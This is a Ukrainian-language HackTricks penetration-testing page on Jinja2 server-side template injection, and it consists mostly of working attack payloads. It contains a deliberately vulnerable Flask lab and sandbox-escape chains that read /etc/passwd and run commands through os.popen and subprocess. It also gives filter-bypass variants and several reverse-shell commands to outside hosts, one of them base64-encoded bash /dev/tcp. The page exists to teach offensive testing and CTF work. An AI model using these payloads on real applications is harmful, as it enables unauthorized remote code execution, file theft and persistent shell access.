Jinja2 SSTI

Tip

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).

Підтримайте HackTricks

Лабораторія

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"

if __name__ == "__main__":
app.run()

Різне

Директива Debug

Якщо Debug Extension увімкнено, буде доступний тег debug для виведення поточного контексту, а також доступних фільтрів і тестів. Це корисно, щоб побачити, що доступно для використання в шаблоні без налаштування налагоджувача.

<pre>

{% raw %}
{% debug %}
{% endraw %}








</pre>

Джерело: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement

Вивести всі змінні конфігурації

{{ config }} #In these object you can find all the configured env variables


{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}






Jinja Injection

По-перше, у Jinja Injection вам потрібно знайти спосіб вийти з sandbox і відновити доступ до стандартного python execution flow. Для цього потрібно зловживати об’єктами, які походять з non-sandboxed python env, але доступні з sandbox.

Доступ до глобальних об’єктів

Наприклад, в коді render_template("hello.html", username=username, email=email) об’єкти username і email походять з non-sandboxed python env і будуть доступні всередині sandboxed env.
Крім того, є й інші об’єкти, які завжди будуть доступні з sandboxed env, це:

[]
''
()
dict
config
request

Отримання <class ‘object’>

Потім, з цих об’єктів нам потрібно дістатися до класу: <class 'object'> щоб спробувати отримати визначені класи. Це тому, що від цього об’єкта ми можемо викликати метод __subclasses__ і отримати доступ до всіх класів з неізольованого середовища Python.

Щоб отримати доступ до цього класу об’єкта, потрібно отримати доступ до об’єкта класу й потім звернутися або до __base__, або до __mro__()[-1], або .mro()[-1]. І потім, досягнувши цього класу об’єкта, ми викликаємо __subclasses__().

Перевірте ці приклади:

# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class

# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]

# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}

{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}






# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

RCE Escaping

Відновивши <class 'object'> та викликавши __subclasses__, ми тепер можемо використовувати ці класи для читання і запису файлів та виконання коду.

Виклик __subclasses__ дав нам можливість отримати доступ до сотень нових функцій, нам достатньо просто отримати доступ до file class щоб читати/записувати файли або до будь-якого класу, який має доступ до класу, що дозволяє виконувати команди (наприклад os).

Читання/запис віддаленого файлу

# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

RCE

# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Without '{{' and '}}'

<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>

# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}


## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}

Payloads з {% ... %}

Іноді {{ ... }} блокується, санітизується або ін’єкція потрапляє в контекст, де можливі лише statement-теги. У таких випадках ви все ще можете зловживати Jinja statement-тегами, такими як {% with %}, {% if %}, {% for %}, {% set %} і, у новіших версіях, {% print %}, щоб виконати код, leak дані через тіло блоку або спричинити сліпі побічні ефекти.

{% raw %}
# Simple statement-tag primitives
{% print(1) %}
{% if 7*7 == 49 %}OK{% endif %}
{% if 7*7 == 50 %}BAD{% else %}ELSE{% endif %}
{% set x = 7*7 %}{{ x }}
{% for i in range(3) %}{{ i }}{% endfor %}
{% with a = ''.__class__ %}{{ a }}{% endwith %}
{% print(''.__class__.__mro__[1]) %}
{% with x = ''.__class__.__mro__[1].__subclasses__()|length %}{{ x }}{% endwith %}

# Flask-like contexts: use already reachable globals/functions
{% with a = config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("id").read() %}{{ a }}{% endwith %}
{% if config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("id").read().startswith("uid=") %}yes{% endif %}

# Bare Jinja2 Template(...) contexts may not have `config` or `request`,
# but built-in globals such as `lipsum`, `cycler`, `joiner`, and `namespace`
# are often still available.
{% print(lipsum) %}
{% print(cycler) %}
{% print(joiner) %}
{% print(namespace) %}
{% if 'os' in lipsum.__globals__ %}OS_OK{% endif %}
{% if cycler.__init__.__globals__ %}G_OK{% endif %}

# RCE using default Jinja globals
{% print(lipsum.__globals__['os'].popen('id').read()) %}
{% with x = lipsum.__globals__['os'].popen('id').read() %}{{ x }}{% endwith %}
{% print(cycler.__init__.__globals__['os'].popen('id').read()) %}
{% print(joiner.__init__.__globals__['os'].popen('id').read()) %}
{% print(namespace.__init__.__globals__['os'].popen('id').read()) %}

# Blind / boolean primitive
{% if 'uid=' in lipsum.__globals__['os'].popen('id').read() %}
YES
{% endif %}
{% endraw %}

Якщо ціль фільтрує певні символи, але все ще дозволяє директивні теги, поєднайте цю ідею з filter bypasses і no-{{ / no-. / no-_ example. Також пам’ятайте, що {% print %} не є обов’язковим: на цілях, де він недоступний, {% with %}, {% if %}, {% set %} і {% for %} зазвичай достатні для подальшої експлуатації шаблону.

Щоб дізнатися про більше класів, які ви можете використовувати для втечі, ви можете переглянути:

Bypass Python sandboxes

Filter bypasses

Common bypasses

Ці обхідні прийоми дозволять нам доступатися до атрибутів об’єктів не використовуючи деякі символи.
Ми вже бачили деякі з цих обхідних прийомів у прикладах вище, але підсумуємо їх тут:

# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick

## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params

## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

# Using with

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}






Уникнення HTML-кодування

За замовчуванням Flask виконує HTML-кодування всередині шаблона з міркувань безпеки:

{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;

Фільтр safe дозволяє нам вставляти JavaScript та HTML на сторінку без їхнього HTML-кодування, наприклад:

{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>

RCE шляхом запису зловмисного config file.

# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

Без кількох символів

Без {{ . [ ] }} _

{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}






Jinja Injection без <class ‘object’>

З global objects є інший спосіб дістатися до RCE без використання того класу.
Якщо вам вдасться дістатися до будь-якої function з тих global objects, ви зможете отримати доступ до __globals__.__builtins__ і звідти RCE дуже простий.

Ви можете find functions у об’єктах request, config та будь-якому іншому цікавому global object, до якого маєте доступ, за допомогою:

{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed

{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__

# You can iterate through children objects to find more

Коли ви знайшли деякі функції, ви можете відновити builtins за допомогою:

# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}


## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

# All the bypasses seen in the previous sections are also valid

Fuzzing WAF bypass

Fenjing https://github.com/Marven11/Fenjing — інструмент, спеціалізований на CTFs, але також може бути корисним для bruteforce недійсних params у реальному сценарії. Інструмент просто spray words and queries для виявлення фільтрів, пошуку bypasses, а також надає інтерактивну консоль.

Англо-китайський переклад Google

webui:
As the name suggests, web UI
Default port 11451

scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'

crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name

crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'

crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.

Посилання

Tip

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).

Підтримайте HackTricks